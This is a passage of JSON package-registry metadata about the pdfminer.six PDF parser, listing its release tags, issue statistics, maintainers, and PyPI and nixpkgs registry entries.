analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2026-04-25T10:55:00.617Z","dependent_packages_count":0,"downloads":37692,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":56.53140893293694,"dependent_packages_count":10.04512527820813,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":33.28826710557254},"purl":"pkg:pypi/pdfminer.six.reducto","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pdfminer.six.reducto","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pdfminer.six.reducto","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pdfminer.six.reducto/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pdfminer.six.reducto/codemeta","maintainers":[{"uuid":"reducto","login":"reducto","name":null,"email":null,"url":null,"packages_count":8,"html_url":"https://pypi.org/user/reducto/","role":"Owner","created_at":"2024-11-13T01:40:52.855Z","updated_at":"2024-11-13T01:40:52.855Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/reducto/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":873148,"maintainers_count":373398,"namespaces_count":0,"keywords_count":280639,"github":"pypi","metadata":{"funded_packages_count":53810},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-05-13T05:09:37.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":12871154,"name":"python313Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":2,"first_release_published_at":"2026-01-27T03:38:01.623Z","latest_release_published_at":"2026-03-07T05:19:24.608Z","latest_release_number":"20260107","last_synced_at":"2026-05-14T06:02:27.667Z","created_at":"2026-01-27T03:38:01.404Z","updated_at":"2026-05-14T06:02:27.667Z","registry_url":"https://search.nixos.org/packages?channel=unstable\u0026query=python313Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python313Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/pdfminer-six/default.nix#L62","metadata":{"nix_attribute":"python3.13-pdfminer-six-20260107","position":"pkgs/development/python-modules/pdfminer-six/default.nix:62","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","aarch64-darwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd","aarch64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":"2026-03-07T05:27:59.721Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python313Packages.pdfminer-six?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python313Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python313Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python313Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages/python313Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":67,"html_url":null,"role":null,"created_at":"2026-03-07T05:19:25.426Z","updated_at":"2026-03-07T05:19:25.426Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-unstable","url":"https://channels.nixos.org/nixos-unstable","ecosystem":"nixpkgs","default":true,"packages_count":147106,"maintainers_count":4680,"namespaces_count":0,"keywords_count":2885,"github":"NixOS","metadata":{"funded_packages_count":1565},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:52.762Z","updated_at":"2026-05-15T05:01:34.865Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-unstable/namespaces"}}],"commits":null,"issues":{"table":{}},"events":null,"keywords":["parser","pdf","python"],"dependencies":null,"score":29.62680498553236,"created_at":"2026-05-04T06:42:45.946Z","updated_at":"2026-05-30T19:30:27.933Z","avatar_url":"https://github.com/pdfminer.png","language":"Python","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/371576","html_url":"https://summary.ecosyste.ms/projects/371576"}